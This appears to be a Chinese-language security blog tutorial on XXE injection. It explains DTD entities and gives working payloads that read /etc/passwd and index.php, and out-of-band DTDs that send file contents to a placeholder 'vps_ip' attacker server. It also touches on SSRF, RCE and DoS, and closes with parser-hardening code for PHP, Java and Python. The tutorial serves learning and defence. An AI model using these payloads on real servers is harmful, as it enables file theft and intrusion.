XML外部实体注入(XXE攻击)小结

开篇推荐:

xxelab - 一个包含php,java,python,C#等各种语言版本的XXE漏洞Demo

xxeserver - XXE Out of Band Server.

基础

DTD

文档类型定义(Document Type Defination)

根据我的理解,DTD就是用于声明实体(ENTITY)的文档,为了结构清晰和防止符号的解析错误,XML中出现了实体引用这个概念,它就类似于一种”文件包含”的形式。

形如<!ENTITY 实体名称 "实体的值">的叫做内部实体,刑如<!ENTITY 实体名称 SYSTEM "URI">的叫做外部实体,而这个引入URI的过程即外部实体引入,也就是xml外部实体注入漏洞的主角了。

类似的,DTD也分为内部声明和外部引用两种。

此外,在xml文档的开头<?xml version="1.0" encoding="UTF-8" standalone="yes"?> 中standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no。

XML

可扩展标记语言(eXtensible Markup Language)

HTML主要用于显示数据,倾向数据的外观;XML 主要用于传输和存储数据,倾向数据的内容。

<!-- xml版本与编码 -->
<?xml version="1.0" encoding="utf-8"?> 

<!-- 文档类型定义(DTD) 可选 -->
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>   <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   
<!ELEMENT head (#PCDATA)>   
<!ELEMENT body (#PCDATA)>   
]>

<!-- 文档元素 -->
<note>
<to>0sec</to>
<from>xxx</from>
</note> <!-- 所有XML元素必须有关闭标签 -->

XML外部实体注入(Xml eXternal Entity injection)

检测是否可解析xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY site "0sec.com.cn">]>
<root>&site;</root>

解析成功:

尝试直接读取任意文件:

检查服务器是否支持DTD引用外部实体:

查看access.log可知服务器没有获取到访问index.html的请求,说明DTD外部实体未被调用。

根据https://xz.aliyun.com/t/2571,XML外部实体的解析与PHP版本无关,而与编译时的libxml库有关,在我的环境里libXML的版本为2.9.1

猜测由于查到的资料都比较老旧,新版的环境已经默认不支持DTD外部实体的引用,或做了某些限制。

测试暂时失败了,不过如上的任意文件读取就是XXE漏洞最简单的利用方式。根据chybeta的文章,读取php、html等文件时由于尖括号<>会导致解析错误,可以用伪协议的方式进行base64转换:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY  file SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>
<root>&file;</root>

引用外部实体的方式还有如下两种:

<?xml version="1.0"?>
<!DOCTYPE a [
    <!ENTITY % d SYSTEM "http://0sec.com.cn/evil.dtd">
    %d;
]>
<c>&b;</c>

<!-- evil.dtd: 
<!ENTITY b SYSTEM "file:///etc/passwd">
--><?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://0sec.com.cn/evil.dtd">
<c>&b;</c>

<!--
<!ENTITY b SYSTEM "file:///etc/passwd">
-->

OOB攻击(Blind XXE)

在看不到回显时,可以使用一种被命名为Blind XXE的攻击方式,也就是所谓的OOB(Out Of Band 数据外带)攻击:

最简单的形式如下:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://vps_ip/evil.dtd">
<data>&send;</data>

evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://vps_ip/?%file;'>">
%all;

带有参数实体时,形式类似这样:

<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://vps_ip/evil.dtd">
%remote;
%send;
]>
<data>4</data>

evil.dtd:
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY % send SYSTEM 'http://vps_ip/%payload;'>">
%param1;

%remote经解析引入了远程主机上的evil.dtd,dtd中引用实体param1引入send定义,在xml中%send解析时即完成了payload传输。

除了自己在vps上等待接收回显,也可以使用xxeserver工具完成OOB攻击,但是需要ruby环境,可以在kali上配合frp反向代理接收传递的数据。

其他攻击形式

  • 内网探测/SSRF

其实就是程序支持http协议,可以构造http请求,上面也有例子。

  • php下的RCE

实际是php支持的expect扩展协议,需要php装有expect扩展.

并不是传统意义上的任意命令执行,只是因为环境的特殊配置,导致XML与某些命令操作关联,进而造成了命令执行,PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上

  • DoS

比较出名的”Billion Laughs 攻击”,payload可见DTD/XXE 攻击笔记分享,里面还有一些较少见的攻击方式。

CTF题目

35CTF-Blind-XXE

防御漏洞

开发语言直接禁用外部实体

  • PHP:
libxml_disable_entity_loader(true);
  • JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
  • Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤

参考链接:

TSRC

chybeta

文章目录
  1. 1. 基础
    1. 1.1. DTD
    2. 1.2. XML
  2. 2. XML外部实体注入(Xml eXternal Entity injection)
    1. 2.1. 检测是否可解析xml
    2. 2.2. OOB攻击(Blind XXE)
    3. 2.3. 其他攻击形式
  3. 3. CTF题目
  4. 4. 防御漏洞
    1. 4.1. 开发语言直接禁用外部实体
    2. 4.2. 过滤
|